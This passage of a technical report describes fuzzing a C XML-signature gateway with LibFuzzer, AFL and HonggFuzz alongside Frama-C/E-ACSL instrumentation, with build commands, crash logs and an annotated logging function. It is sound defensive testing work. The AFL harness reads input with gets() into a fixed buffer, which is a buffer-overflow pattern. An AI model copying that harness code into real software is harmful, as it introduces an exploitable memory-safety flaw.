  965|       |TreePathsConf tpc = {.fileConfPki="./Conf/fdsPath.xml" , 

.fileIssuers="./Conf/issuers.xml" }; 

  966|       | 

  967|       |typedef unsigned char uint8_t ; 

  968|     32|int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) { 

  969|     32| pvl_e_t r = parseConfDirPath((char const * const) Data, &tpc); 

  970|     32| return 1; 

  971|     32|} 

  972|       | 

 

Definitely, giving more information about the initial state (or context) to the test permits to enlarge 
the coverage to additional regions. 
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This kind of refinement of the initial state should be done incrementally, as long as it is possible to 
expect covering more code with LibFuzzer. 

 

On the consolidated report, we can see that more regions (say blocks of code) are now covered by 
the corpus generated by LibFuzzer: 

$ llvm-cov-7 report pour_coverage.exe -instr-profile=default.profdata 

... Executed       Lines      Missed Lines     Cover 

... ------------------------------------------------------------------------------------- 

... 100.00%          17                 0   100.00% 

----------------------------------------------------------------------------------------- 

... 100.00%         195                 0   100.00% 

 

Time to time, it can also be useful to scrutinize the coverage from the corpus, input file by input file. 

This allows to determine the best corpus to keep: 

 

clang-7 -fprofile-instr-generate -fcoverage-mapping sliced.c PourCoverage.c -o 

pour_coverage.exe 

for i in `ls sorties/` ; do \ 

echo "===== $i" ; \ 

cat sorties/$i ; \ 

echo "" ; \ 

rm *.prof* ; \ 

./pour_coverage.exe sorties/$i ; \ 

llvm-profdata-7 merge -sparse *.profraw -o default.profdata ; \ 

llvm-cov-7 report pour_coverage.exe -instr-profile=default.profdata ; \ 

done &> log 

 

 

Note that a corpus of input files can be kept from a given fuzzing process to the next one, which 
improves generally the convergence towards interesting input cases, and then the speed of 
coverage. 

 

Back to AFL fuzzer 

After the different fixes provided on E-ACSL by the CEA, based on the (time-consuming) issues 
identified in-house, we tried back AFL fuzzer on the whole application, but this resulted in the same 
issues met earlier in the project: 

 

$ afl-fuzz -m 3072 -i in -o out/ ./gateway.eacsl.AFL.exe -p 

resources/packages/packageArbitraryTreeFiles/ -a in/package_sign_FX786MPDSL.xml 

afl-fuzz 2.52b by <lcamtuf@google.com> 

[+] You have 4 CPU cores and 1 runnable tasks (utilization: 25%). 

[+] Try parallel jobs - see /usr/local/share/doc/afl/parallel_fuzzing.txt. 

[*] Checking CPU core loadout... 

[+] Found a free CPU core, binding to #0. 

[*] Checking core_pattern... 

[*] Checking CPU scaling governor... 

[*] Setting up output directories... 

[+] Output directory exists but deemed OK to reuse. 

[*] Deleting old session data... 

[+] Output dir cleanup successful. 

[*] Scanning 'in'... 

[+] No auto-generated dictionary tokens to reuse. 

[*] Creating hard links for all input files... 

[*] Validating target binary... 

[*] Attempting dry run with 'id:000000,orig:package_sign_FX786MPDSL.xml'... 

[*] Spinning up the fork server... 
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[-] Whoops, the target binary crashed suddenly, before receiving any input 

    from the fuzzer! There are several probable explanations: 

 

    - The current memory limit (3.00 GB) is too restrictive, causing the 

      target to hit an OOM condition in the dynamic linker. Try bumping up 

      the limit with the -m setting in the command line. A simple way confirm 

      this diagnosis would be: 

 

      ( ulimit -Sv $[3071 << 10]; /path/to/fuzzed_app ) 

 

      Tip: you can use http://jwilk.net/software/recidivm to quickly 

      estimate the required amount of virtual memory for the binary. 

 

    - The binary is just buggy and explodes entirely on its own. If so, you 

      need to fix the underlying problem or find a better replacement. 

 

    - Less likely, there is a horrible bug in the fuzzer. If other options 

      fail, poke <lcamtuf@coredump.cx> for troubleshooting tips. 

 

[-] PROGRAM ABORT : Fork server crashed with signal 11 

         Location : init_forkserver(), afl-fuzz.c:2201 

 

And as previously, we investigated one more time the different AFL parameters in the command 
line, and the hints provided by AFL (see the above AFL output message and also in the 
documentation and blogs in the Internet). 

 

We also tried the same AFL fuzzer on different slices extracted from our Use Case. 

AFL was able to fuzz small E-ACSL instrumented code, thus applying CURSOR in its original 
definition. 

This result is important as it validates the CURSOR approach on applications to be fuzzed but 
without libraries doing complex initialization (“à la libxmlparser”, for instance), and only on small 
code extracts. 

 

A reference slice of C source code is then instrumented by E-ACSL, and instrumented by AFL-gcc.  

The only change to the code is to include a main() function (entry point of the function) able to take 
as input a string (fuzzed data): 

int main(int argc, char **argv) 

{ 

char Data[4096]; 

// ... 

gets(Data); 

// ... 

function_to_fuzz(Data); 

// ... 

return 1; 

} 

 

The command line is the following: 

 

$ e-acsl-gcc.sh -G afl-gcc -k -c --rte=all -o gateway.afl.eacsl.c -O gateway.afl.exe --

oexec-e-acsl=gateway.afl.eacsl.exe sliced.afl.c --frama-c-extra="-wp -wp-timeout 1 -

remove-unused-specified-functions" --e-acsl-extra="-e-acsl-no-validate-format-strings" --

cpp-flags="-I/usr/include/libxml2 -DE_ACSL_EXTERNAL_ASSERT -D__XMLSEC_FUNCTION__=__func__ 

-DXMLSEC_NO_SIZE_T -DXMLSEC_NO_GOST=1 -DXMLSEC_XXX=1 -D__builtin_strlen=strlen -

DXMLSEC_NO_CRYPTO_DYNAMIC_LOADING=1 -I/usr/include/xmlsec1 -I/usr/include/libxml2 -

DXMLSEC_CRYPTO_OPENSSL=1 -I/usr/include" --ld-flags="-lxml2 -L/usr/lib/x86_64-linux-gnu -

lxmlsec1-openssl -lxmlsec1 -lxslt -lxml2 -lssl -lcrypto" 
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AFL then can instrument the code: 

... 

afl-as 2.52b by <lcamtuf@google.com> 

[+] Instrumented 67 locations (64-bit, non-hardened mode, ratio 100%). 

afl-as 2.52b by <lcamtuf@google.com> 

[+] Instrumented 5159 locations (64-bit, non-hardened mode, ratio 100%). 

... 

 

Just for checking, we launch the AFL fuzzer on the non-E-ACSL-ised version of the code: 

 

$ afl-fuzz -m 100 -i in -o out/ ./gateway.afl.exe -p 

resources/packages/packageArbitraryTreeFiles/ -a in/package_sign_FX786MPDSL.xml 

 

 

The result displayed on the console shows no issue, and the next step then consists in testing the 
E-ACSL-ised version of the application, but this time we have to increase drastically the “-m” line 

parameter of the fuzzer in order to define a larger memory limit for the child process (here, 800 Mb 
are required): 

 

$ afl-fuzz -m 800 -i in -o out/ ./gateway.afl.eacsl.exe -p 

resources/packages/packageArbitraryTreeFiles/ -a in/package_sign_FX786MPDSL.xml 

 

 

Which yields: 

afl-fuzz 2.52b by <lcamtuf@google.com> 

[+] You have 4 CPU cores and 1 runnable tasks (utilization: 25%). 

[+] Try parallel jobs - see /usr/local/share/doc/afl/parallel_fuzzing.txt. 

[*] Checking CPU core loadout... 

[+] Found a free CPU core, binding to #0. 

[*] Checking core_pattern... 

[*] Checking CPU scaling governor... 

[*] Setting up output directories... 

[+] Output directory exists but deemed OK to reuse. 

[*] Deleting old session data... 

[+] Output dir cleanup successful. 

[*] Scanning 'in'... 

[+] No auto-generated dictionary tokens to reuse. 

[*] Creating hard links for all input files... 

[*] Validating target binary... 

[*] Attempting dry run with 'id:000000,orig:package_sign_FX786MPDSL.xml'... 

[*] Spinning up the fork server... 

[+] All right - fork server is up. 

    len = 5803, map size = 402, exec speed = 279 us 

[+] All test cases processed. 

 

[+] Here are some useful stats: 

 

    Test case count : 1 favored, 0 variable, 1 total 

       Bitmap range : 402 to 402 bits (average: 402.00 bits) 

        Exec timing : 279 to 279 us (average: 279 us) 

 

[*] No -t option specified, so I'll use exec timeout of 20 ms. 

[+] All set and ready to roll! 

 

After some hours of fuzzing, we obtain some - intermediate - results not detailed here as the 
crashes are due to non-realistic input scenarios. Indeed, these inputs could not occur in real life 
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and are due to the lack of control on the input cases generated by the fuzzer at the entry point of 
the code (said differently, the more or less random inputs are not filtered out to fit the operational 
conditions). 

                                american fuzzy lop 2.52b (gateway.afl.eacsl.exe) 

 

┌─ process timing ─────────────────────────────────────┬─ overall results ─────┐ 

│        run time : 0 days, 2 hrs, 1 min, 22 sec       │  cycles done : 7799   │ 

│   last new path : 0 days, 1 hrs, 50 min, 58 sec      │  total paths : 8      │ 

│ last uniq crash : 0 days, 1 hrs, 48 min, 34 sec      │ uniq crashes : 7      │ 

│  last uniq hang : none seen yet                      │   uniq hangs : 0      │ 

├─ cycle progress ────────────────────┬─ map coverage ─┴───────────────────────┤ 

│  now processing : 6 (75.00%)        │    map density : 0.72% / 0.79%         │ 

│ paths timed out : 0 (0.00%)         │ count coverage : 1.22 bits/tuple       │ 

├─ stage progress ────────────────────┼─ findings in depth ────────────────────┤ 

│  now trying : havoc                 │ favored paths : 7 (87.50%)             │ 

│ stage execs : 144/512 (28.12%)      │  new edges on : 8 (100.00%)            │ 

│ total execs : 27.1M                 │ total crashes : 410k (7 unique)        │ 

│  exec speed : 3646/sec              │  total tmouts : 3 (2 unique)           │ 

├─ fuzzing strategy yields ───────────┴───────────────┬─ path geometry ────────┤ 

│   bit flips : 1/6144, 0/6136, 1/6120                │    levels : 5          │ 

│  byte flips : 0/768, 0/760, 0/749                   │   pending : 0          │ 

│ arithmetics : 0/42.2k, 0/34, 0/0                    │  pend fav : 0          │ 

│  known ints : 0/4600, 0/21.3k, 0/33.0k              │ own finds : 7          │ 

│  dictionary : 0/0, 0/0, 0/0                         │  imported : n/a        │ 

│       havoc : 12/19.4M, 0/7.53M                     │ stability : 100.00%    │ 

│        trim : 89.51%/373, 0.00%                     ├────────────────────────┘ 

└─────────────────────────────────────────────────────┘          [cpu000: 51%] 

 

The results are of theoretical interest, but the reader would have seen that the execution speeds 
are very different between AFL and LibFuzzer: about 3,600 executions per second on E-ACSL-
ised code with AFL, and about 330,000 executions per second on non-E-ACSL-ised code with 
LibFuzzer. 

The C source code fuzzed with AFL is 3x larger than the one analyzed by LibFuzzer, but it is 100x 
slower when fuzzing. With AFL, we have the ability to check for alarms identified by static analysis 
with Frama-C (if the code is not too large and not calling external libraries). With LibFuzzer, the 
original code must be modified by-hand with some cybersecurity or safety properties translated as 
executable statements. 

AFL can thus be used in CURSOR approach, but with some limitations in terms of: 
- application complexity (related to linked libraries), 
- memory size (dedicated to “child” fuzzed process),  
- and also execution speed.  

LibFuzzer can only be applied so far to non-CURSOR-ised code, but with a greater capability of 
coverage due to its high execution speed (~100x faster than AFL) which could be in certain cases - 
depending on the application V&V goals - a decisive advantage.  

The current situation is summed up as follows: 
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Figure 7: Current situation LibFuzzer 

 

 

A last try with a third fuzzer 

 

To almost complete our overview of freely available fuzzers, we also tried applying a third 
evolutionary-based fuzzer, HonggFuzz25, to our Use Case. 

 

This fuzzer is defined as: 

 

A security oriented, feedback-driven, evolutionary, easy-to-use fuzzer with interesting 
analysis options. 

 

It’s multi-process and multi-threaded: no need to run multiple copies of your fuzzer, as 
honggfuzz can unlock potential of all your available CPU cores with a single supervising 
process. The file corpus is automatically shared and improved between the fuzzing threads 
and fuzzed processes. 

It’s blazingly fast when in the persistent fuzzing mode). A simple/empty 
LLVMFuzzerTestOneInput function can be tested with up to 1mo iterations per second on a 
relatively modern CPU (e.g. i7-6700K) 

- Has a solid track record of uncovered security bugs: the only (to the date) vulnerability in 
OpenSSL with the critical score mark was discovered by honggfuzz. See the Trophies 
paragraph for the summary of findings to the date 

- Uses low-level interfaces to monitor processes (e.g. ptrace under Linux and NetBSD). As 
opposed to other fuzzers, it will discover and report hijacked/ignored signals from crashes 
(intercepted and potentially hidden by a fuzzed program) 

- Easy-to-use, feed it a simple corpus directory (can even be empty) and it will work its way 
up expanding it utilizing feedback-based coverage metrics 

                                                

25 https://github.com/google/honggfuzz 

Original code CURSOR-ised code

AFL

Applicable

Execution speed: Slow,

unless (potentially heavy) changes on the code

Applicable but only under some conditions 
(not linked with libraries with memory management 

at startup, ...)

Execution speed: Slow,

unless (potentially heavy) changes on the code

LibFuzzer

Applicable

Execution speed: Very fast 
(in-process fuzzing)

Not applicable (several issues under investigation)

Source Code

Fuzzers
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- Supports several (more than any other coverage-based feedback-driven fuzzer) 
hardware-based (CPU: branch/instruction counting, Intel BTS, Intel PT) and software-based 
feedback-driven fuzzing methods known from other fuzzers (libfuzzer, afl) 

- Works (at least) under GNU/Linux, FreeBSD, NetBSD, Mac OS X, Windows/CygWin and 
Android 

- Supports the persistent fuzzing mode (long-lived process calling a fuzzed API repeatedly) 
with libhfuzz/libhfuzz.a. 

 

With HonggFuzz, the command line is almost the same as for previous fuzzers: 

 

 

$ e-acsl-gcc.sh -G hfuzz-gcc -k -c --rte=all -o gateway.eacsl.c -O gateway.AFL.exe --

oexec-e-acsl=gateway.eacsl.AFL.exe complement.c my_assert.c *.i --frama-c-extra="-wp -wp-

timeout 1 -remove-unused-specified-functions" --e-acsl-extra="-e-acsl-no-validate-format-

strings" --cpp-flags="-I/usr/include/libxml2 -DE_ACSL_EXTERNAL_ASSERT -

D__XMLSEC_FUNCTION__=__func__ -DXMLSEC_NO_SIZE_T -DXMLSEC_NO_GOST=1 -DXMLSEC_XXX=1 -

D__builtin_strlen=strlen -DXMLSEC_NO_CRYPTO_DYNAMIC_LOADING=1 -I/usr/include/xmlsec1 -

I/usr/include/libxml2 -DXMLSEC_CRYPTO_OPENSSL=1 -I/usr/include" --ld-flags="-lxml2 -

L/usr/lib/x86_64-linux-gnu -lxmlsec1-openssl -lxmlsec1 -lxslt -lxml2 -lssl -lcrypto" 

honggfuzz -f in -P -z -- ./gateway.AFL.exe -p 

resources/packages/packageArbitraryTreeFiles/ -a in/package_sign_FX786MPDSL.xml 

honggfuzz -f in -P -z -- ./gateway.eacsl.AFL.exe -p 

resources/packages/packageArbitraryTreeFiles/ -a in/package_sign_FX786MPDSL.xml 

 

 

$ honggfuzz -f in -P -z -- ./gateway.eacsl.AFL.exe -p 

resources/packages/packageArbitraryTreeFiles/ -a in/package_sign_FX786MPDSL.xml 

 

 

This yields the following: 

NetDriver signature found './gateway.eacsl.AFL.exe' 

cmdline:'./gateway.eacsl.AFL.exe -p resou.....package_sign_FX786MPDSL.xml', 

bin:'./gateway.eacsl.AFL.exe' inputDir:'in', fuzzStdin:false, mutationsPerRun:6, 

externalCommand:'', timeout:10, mutationsMax:0, threadsMax:2 

 

------------------------[  0 days 00 hrs 04 mins 13 secs ]---------------------- 

  Iterations : 3,033 [3.03k] 

  Mode [3/3] : Feedback Driven Mode 

      Target : ./gateway.eacsl.AFL.exe -p resou.....package_sign_FX786MPDSL.xml 

     Threads : 2, CPUs: 4, CPU%: 0% [0%/CPU] 

       Speed : 0/sec [avg: 11] 

     Crashes : 3033 [unique: 1, blacklist: 0, verified: 0] 

    Timeouts : 0 [10 sec] 

 Corpus Size : 2, max: 8,192 bytes, init: 2 files 

  Cov Update : 0 days 00 hrs 04 mins 13 secs ago 

    Coverage : edge: 0 pc: 665 cmp: 0 

---------------------------------- [ LOGS ] ------------------/ honggfuzz 1.8 /- 

Persistent mode: Launched new persistent pid=692 

Crash (dup): './SIGABRT.PC.7ffff6bfde97.STACK.d0edb7ff6.CODE.-

6.ADDR.(nil).INSTR.mov____0x108(%rsp),%rcx.fuzz' already exists, skipping 

[2019-04-14T20:01:32+0200][W][27067] arch_checkWait():249 Persistent mode: pid=690 exited 

with status: SIGNALED, signal: 6 (Aborted) 

Persistent mode: Launched new persistent pid=694 

Crash (dup): './SIGABRT.PC.7ffff6bfde97.STACK.d0edb7ff6.CODE.-

6.ADDR.(nil).INSTR.mov____0x108(%rsp),%rcx.fuzz' already exists, skipping 

[2019-04-14T20:01:32+0200][W][27066] arch_checkWait():249 Persistent mode: pid=692 exited 

with status: SIGNALED, signal: 6 (Aborted) 

Persistent mode: Launched new persistent pid=696 

Crash (dup): './SIGABRT.PC.7ffff6bfde97.STACK.d0edb7ff6.CODE.-

6.ADDR.(nil).INSTR.mov____0x108(%rsp),%rcx.fuzz' already exists, skipping 
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[2019-04-14T20:01:32+0200][W][27067] arch_checkWait():249 Persistent mode: pid=694 exited 

with status: SIGNALED, signal: 6 (Aborted) 

Persistent mode: Launched new persistent pid=698 

Crash (dup): './SIGABRT.PC.7ffff6bfde97.STACK.d0edb7ff6.CODE.-

6.ADDR.(nil).INSTR.mov____0x108(%rsp),%rcx.fuzz' already exists, skipping 

[2019-04-14T20:01:32+0200][W][27066] arch_checkWait():249 Persistent mode: pid=696 exited 

with status: SIGNALED, signal: 6 (Aborted) 

Persistent mode: Launched new persistent pid=700 

Crash (dup): './SIGABRT.PC.7ffff6bfde97.STACK.d0edb7ff6.CODE.-

6.ADDR.(nil).INSTR.mov____0x108(%rsp),%rcx.fuzz' already exists, skipping 

[2019-04-14T20:01:32+0200][W][27067] arch_checkWait():249 Persistent mode: pid=698 exited 

with status: SIGNALED, signal: 6 (Aborted) 

Persistent mode: Launched new persistent pid=702 

Crash (dup): './SIGABRT.PC.7ffff6bfde97.STACK.d0edb7ff6.CODE.-

6.ADDR.(nil).INSTR.mov____0x108(%rsp),%rcx.fuzz' already exists, skipping 

[2019-04-14T20:01:32+0200][W][27066] arch_checkWait():249 Persistent mode: pid=700 exited 

with status: SIGNALED, signal: 6 (Aborted) 

Persistent mode: Launched new persistent pid=704 

Crash (dup): './SIGABRT.PC.7ffff6bfde97.STACK.d0edb7ff6.CODE.-

6.ADDR.(nil).INSTR.mov____0x108(%rsp),%rcx.fuzz' already exists, skipping 

Signal 2 (Interrupt) received, terminating 

Terminating thread no. #1, left: 2 

Terminating thread no. #0, left: 1 

Summary iterations:3033 time:253 speed:11 

 

A crash is thus generated by the fuzzer. After some investigations and tests, there is still a crash 
just after the startup of the application under fuzzing, which is caught by the fuzzer and does not 
permit to go further. At least, this fuzzer did not crash like AFL and LibFuzzer did before, because 
exceptions are handled differently, but with no other noteworthy advantage.  

Moreover, the execution speed is (surprisingly) very low compared to other experimented fuzzers, 
even if the persistent mode was requested at launching, but this point was not investigated. 

This last try confirms that the problem met with E-ACSL-ised code does not seem to be fuzzer-
dependent, but with very little doubt related to the memory management performed by the plug-in 
and its interactions with the memory shadowing realized by fuzzers. 

 

Trying previous versions of E-ACSL plug-in 

In a very last effort to find a workaround and to complete our Use Case realization, we tried to 
apply previous releases of Frama-C and E-ACSL. Notably, we backtracked to the version which 
yielded encouraging results at the very beginning of the project (and which was demonstrated at 
[5]), but only on small toy-examples. 

We then reinstalled Frama-C v15 Phosphorus 20170501: the Frama-C version tested as compliant 
with CURSOR process. 

   

Then we try on first with LibFuzzer: 

 

 

$ e-acsl-gcc.sh --rte-select=LLVMFuzzerTestOneInput -G clang-7 -c --rte=div -o 

sliced.eacsl.c -O gateway.exe --oexec-e-acsl=gateway.eacsl.exe sliced.c --frama-c-

extra="-main LLVMFuzzerTestOneInput -wp -wp-timeout 1 -remove-unused-specified-functions" 

--e-acsl-extra="-e-acsl-no-full-mmodel" --cpp-flags="-fsanitize=fuzzer -

DE_ACSL_EXTERNAL_ASSERT -I/usr/include -DE_ACSL_VERBOSE -DE_ACSL_DEBUG_VERBOSE" --ld-

flags="-L/usr/lib/x86_64-linux-gnu -rdynamic" 
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Note: this older version of E-ACSL doesn't know some options like: -k -rt-verbose and 
some others, but which are not mandatory or are replaced by other equivalent ones. 

 

But an error is raised: 

In file included from /usr/local/bin/../share/frama-c/e-acsl//e_acsl_mmodel.c:36: 

/usr/local/bin/../share/frama-c/e-acsl/e_acsl_assert.h:58:18: error: use of undeclared 

identifier 'SIGABRT' 

  kill(getpid(), SIGABRT); 

Once the line is replaced with a simple abort() function call, the code can be compiled and linked, 
but at launch it raises a classical segmentation error (as usual, due to memory shadowing issues). 

We then try with AFL: 

  

$ e-acsl-gcc.sh -G afl-gcc -c --rte=all -o gateway.eacsl.c -O gateway.AFL.exe --oexec-e-

acsl=gateway.eacsl.AFL.exe complement.c my_assert.c *.i --frama-c-extra="-wp -wp-timeout 

1 -remove-unused-specified-functions" --cpp-flags="-I/usr/include/libxml2 -

DE_ACSL_EXTERNAL_ASSERT -D__XMLSEC_FUNCTION__=__func__ -DXMLSEC_NO_SIZE_T -

DXMLSEC_NO_GOST=1 -DXMLSEC_XXX=1 -D__builtin_strlen=strlen -

DXMLSEC_NO_CRYPTO_DYNAMIC_LOADING=1 -I/usr/include/xmlsec1 -I/usr/include/libxml2 -

DXMLSEC_CRYPTO_OPENSSL=1 -I/usr/include" --ld-flags="-lxml2 -L/usr/lib/x86_64-linux-gnu -

lxmlsec1-openssl -lxmlsec1 -lxslt -lxml2 -lssl -lcrypto" 

 

 

We obtain a new list of errors generated during the E-ACSL process (bugs in E-ACSL visibly not 
fixed in this older release): 

 

/usr/bin/afl-gcc -DE_ACSL_SEGMENT_MMODEL -DE_ACSL_IDENTIFY -std=c99 -m64 -g -O2 -fno-

builtin -fno-merge-constants -Wall -Wno-long-long -Wno-attributes -Wno-undef -Wno-unused 

-Wno-unused-function -Wno-unused-result -Wno-unused-value -Wno-unused-function -Wno-

unused-variable -Wno-unused-but-set-variable -Wno-implicit-function-declaration -Wno-

empty-body -I/usr/include/libxml2 -DE_ACSL_EXTERNAL_ASSERT -D__XMLSEC_FUNCTION__=__func__ 

-DXMLSEC_NO_SIZE_T -DXMLSEC_NO_GOST=1 -DXMLSEC_XXX=1 -D__builtin_strlen=strlen -

DXMLSEC_NO_CRYPTO_DYNAMIC_LOADING=1 -I/usr/include/xmlsec1 -I/usr/include/libxml2 -

DXMLSEC_CRYPTO_OPENSSL=1 -I/usr/include -I/usr/local/bin/../share/frama-c/e-acsl/ -o 

gateway.eacsl.AFL.exe gateway.eacsl.c /usr/local/bin/../share/frama-c/e-

acsl//e_acsl_mmodel.c -lxml2 -L/usr/lib/x86_64-linux-gnu -lxmlsec1-openssl -lxmlsec1 -

lxslt -lxml2 -lssl -lcrypto /usr/local/bin/../lib/libeacsl-jemalloc.a 

/usr/local/bin/../lib/libeacsl-gmp.a -lm -lpthread 

afl-cc 2.52b by <lcamtuf@google.com> 

gateway.eacsl.c: In function ‘__gen_e_acsl___builtin_strlen’: 

gateway.eacsl.c:12621:1: error: parameter name omitted 

 unsigned long __gen_e_acsl___builtin_strlen(char const *) 

 ^~~~~~~~ 

gateway.eacsl.c:12624:35: error: expected expression before ‘)’ token 

   __e_acsl_store_block((void *)(& ),8UL); 

                                   ^ 

<command-line>:0:18: error: too few arguments to function ‘strlen’ 

gateway.eacsl.c:12625:14: note: in expansion of macro ‘__builtin_strlen’ 

   __retres = __builtin_strlen(); 

              ^~~~~~~~~~~~~~~~ 

<command-line>:0:18: note: declared here 

gateway.eacsl.c:6372:22: note: in expansion of macro ‘__builtin_strlen’ 

 extern unsigned long __builtin_strlen(char const *); 

                      ^~~~~~~~~~~~~~~~ 

gateway.eacsl.c:12626:36: error: expected expression before ‘)’ token 

   __e_acsl_delete_block((void *)(& )); 

                                    ^ 

gateway.eacsl.c: In function ‘__gen_e_acsl___overflow’: 

gateway.eacsl.c:12817:1: error: parameter name omitted 

 int __gen_e_acsl___overflow(_IO_FILE *, int) 

 ^~~ 

gateway.eacsl.c:12817:1: error: parameter name omitted 
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gateway.eacsl.c:12820:25: error: expected expression before ‘,’ token 

   __retres = __overflow(,); 

                         ^ 

gateway.eacsl.c: In function ‘__gen_e_acsl___uflow’: 

gateway.eacsl.c:12826:1: error: parameter name omitted 

 int __gen_e_acsl___uflow(_IO_FILE *) 

 ^~~ 

gateway.eacsl.c:12829:14: error: too few arguments to function ‘__uflow’ 

   __retres = __uflow(); 

              ^~~~~~~ 

All these errors are fixed by directly modifying by-hand the source code in our case study. 

And then the compilation and link commands are launched with no error: 

 

$ /usr/bin/afl-gcc -DE_ACSL_SEGMENT_MMODEL -DE_ACSL_IDENTIFY -std=c99 -m64 -g -O2 -fno-

builtin -fno-merge-constants -Wall -Wno-long-long -Wno-attributes -Wno-undef -Wno-unused 

-Wno-unused-function -Wno-unused-result -Wno-unused-value -Wno-unused-function -Wno-

unused-variable -Wno-unused-but-set-variable -Wno-implicit-function-declaration -Wno-

empty-body -I/usr/include/libxml2 -DE_ACSL_EXTERNAL_ASSERT -D__XMLSEC_FUNCTION__=__func__ 

-DXMLSEC_NO_SIZE_T -DXMLSEC_NO_GOST=1 -DXMLSEC_XXX=1 -D__builtin_strlen=strlen -

DXMLSEC_NO_CRYPTO_DYNAMIC_LOADING=1 -I/usr/include/xmlsec1 -I/usr/include/libxml2 -

DXMLSEC_CRYPTO_OPENSSL=1 -I/usr/include -I/usr/local/bin/../share/frama-c/e-acsl/ -o 

gateway.eacsl.AFL.exe gateway.eacsl.c /usr/local/bin/../share/frama-c/e-

acsl//e_acsl_mmodel.c -lxml2 -L/usr/lib/x86_64-linux-gnu -lxmlsec1-openssl -lxmlsec1 -

lxslt -lxml2 -lssl -lcrypto /usr/local/bin/../lib/libeacsl-jemalloc.a 

/usr/local/bin/../lib/libeacsl-gmp.a -lm -lpthread 

 

AFL can then be launched on this executable: 

  

$ afl-fuzz -m 100 -i in -o out/ ./gateway.eacsl.AFL.exe -p 

resources/packages/packageArbitraryTreeFiles/ -a in/package_sign_FX786MPDSL.xml 

 

No error or segfault previously met is reported so far, but AFL cannot execute the target and 
displays with the following message already raised in past experiments: 

[-] Whoops, the target binary crashed suddenly, before receiving any input 

    from the fuzzer! There are several probable explanations: 

 

    - The current memory limit (100 MB) is too restrictive, causing the 

      target to hit an OOM condition in the dynamic linker. Try bumping up 

      the limit with the -m setting in the command line. 

 

We tried the same command line with "-m 3200" with no more success! 

 

[-] Whoops, the target binary crashed suddenly, before receiving any input 

    from the fuzzer! There are several probable explanations: 

 

    - The current memory limit (3.12 GB) is too restrictive, causing the 

      target to hit an OOM condition in the dynamic linker. Try bumping up 

      the limit with the -m setting in the command line. 

 

Even higher memory limit for the child process does not permit to overcome the issue. Therefore, 
this way is given up. 

We also tried to backtrack to another earlier version: Frama-C Silicon, released end of 2016. But 
this time, we encountered other difficulties, such as incompatibilities with the version of Ocaml 
currently used at DA, also not compliant with our own plug-ins developed to automatically add 
some annotations into the C source code, which would require a certain effort to fix. Not to mention 
that these previous Frama-C versions contained themselves some bugs and functional limitations 
only fixed in posterior versions of Frama-C (it would have been then quite meaningless to 
persevere in this direction!). 
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As a preliminary conclusion for these experimentations ... 

Previous releases of E-ACSL experimented at the beginning of the project only 
implemented a partial management of shadow memory. This is why the example code 
we analyzed in 2017 (and presented at [5]) worked correctly, but no longer with the 
recent releases of E-ACSL. After discussing the issues met, with CEA and INRIA 
partners, it seems that the main problem comes from the fact that E-ACSL attempts to 
build a new shadow memory on another shadow memory mechanism built by the 
fuzzers. This problem has to be addressed further: even when ASan and UBSan 
checks are disabled (under LLVM/LibFuzzer for instance), memory shadow 
mechanisms are still performed by the fuzzers, then leading to issues met during our 
Use Case realization, as detailed in this chapter. 

 

 

4.3 Counter-Measure Functions Verification 

Following the CURSOR method, we also had to design and implement counter-measure functions 
called when a sought cybersecurity property is violated at runtime. 

For instance, the following function permits to log an array of messages into a file (allowing further 
investigations on a potential vulnerability). We included for instance the recommendations of the 
CERN for safe and secure access to a file26 (thus avoiding race condition attacks). Then we 
enriched the code with our own behaviour.  

For the sake of confidentiality, the source code presented below is slightly different of the one 
implemented and annotated in our Use Case: 

 

#include <unistd.h> 

#include <stdio.h> 

#include <fcntl.h> 

#include <stdlib.h> 

 

//@ assigns \nothing; 

int m_fprintf(FILE *stream, const char *format, const char * var); 

 

enum { FILE_MODE = 0600 }; 

 

/*@ 

requires \forall integer i; 0<=i<n ==> \valid_read(msgs+i); 

requires msgs[n-1][0]=='\0'; 

requires \valid_read(filename); 

requires valid_read_string(filename); 

requires \valid_read("%s\n"); 

*/ 

int logMsgsFile(char* msgs[], unsigned int n, char const * filename) 

{ 

     int fd, i=0; 

     FILE* f; 

 

     if (n <= 0) { 

         perror("Input n is null or negative."); 

         return EXIT_FAILURE; 

     } 

 

     unlink(filename); 

                                                

26 https://security.web.cern.ch/security/recommendations/en/codetools/c.shtml 
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     fd = open(filename, O_WRONLY|O_CREAT|O_EXCL, FILE_MODE); 

     if (fd == -1) { 

         perror("Failed to open the file"); 

         return EXIT_FAILURE; 

     } 

 

     f = fdopen(fd, "w"); 

     if (f == NULL) { 

         perror("Failed to associate file descriptor with a stream"); 

         return EXIT_FAILURE; 

     } 

 

 /*@ 

  loop invariant 0<=i<=n-1; 

  loop invariant \forall int j; 0<=j<i ==> \valid_read(msgs+j); 

  loop assigns i; 

  loop variant n-i; 

 */ 

 for(i=0;i<n-1;i++) 

     { 

         m_fprintf(f, "%s\n", msgs[i]); 

     } 

     printf("Wrote %d records in file: %s.\n",i,filename); 

     fclose(f); 

 

     return EXIT_SUCCESS; 

} 

 

 

The ACSL specifications (function contract and loop annotations) above are written by hand. 

The annotated code is analyzed (EVA and RTE plug-ins may add new annotations) and verified by 
means of the following command line: 

 

frama-c-gui  -lib-entry -main logMsgsFile ForWp.c -rte -wp  -eva -variadic-no-translation 

 

 

The screenshot below shows all the annotations verified by the plug-ins coupled with Alt-Ergo 
prover: 
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Figure 8: Annotations verified by the plug-ins coupled with Alt-Ergo prover 

  

This kind of logging (or other more sophisticated counter-measure) functions is implemented and 
verified using the same approach. 

Indeed, as these functions may be added to the code analyzed by fuzzing, they are also subject to 
verification by intensive (fuzzing) testing to improve the level of confidence about the absence of 
weaknesses. Note that looking for race condition vulnerability by means of fuzzing is not illustrated 
in this report, but may be also addressed with some modifications on the test harnesses. 

 

4.4 CPU time and coverage considerations 

Another important way of investigation in the context of our LibFuzzer experimentations is: how 
can we optimize the task done by the fuzzer in terms of source code coverage and CPU time 
used? 

This concern is of course application-dependent too. But we will address this problem from a 
technical viewpoint, which could - by extension - involve static analysis. Of course, as exposed in 
this report, it is possible to make an efficient use of slicing techniques to reduce the size of the 
code (for instance to only address some relevant alarms), and hence improve the execution time 
and finally obtain a relatively “sufficient” coverage (this coverage strongly depends on risk analysis, 
criticality, and the dreaded threat scenarios). But looking more deeply at how the fuzzers based on 
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evolutionary algorithms generally operate permitted us to envisage new usages of some Frama-C 
features. 

To illustrate the subject, let us take a very small example which consists in comparing two strings: 

 

cat > compare.c << EOF 

#include <stdlib.h> 

#include <stdio.h> 

#include <string.h> 

 

int test(char* a) 

{ 

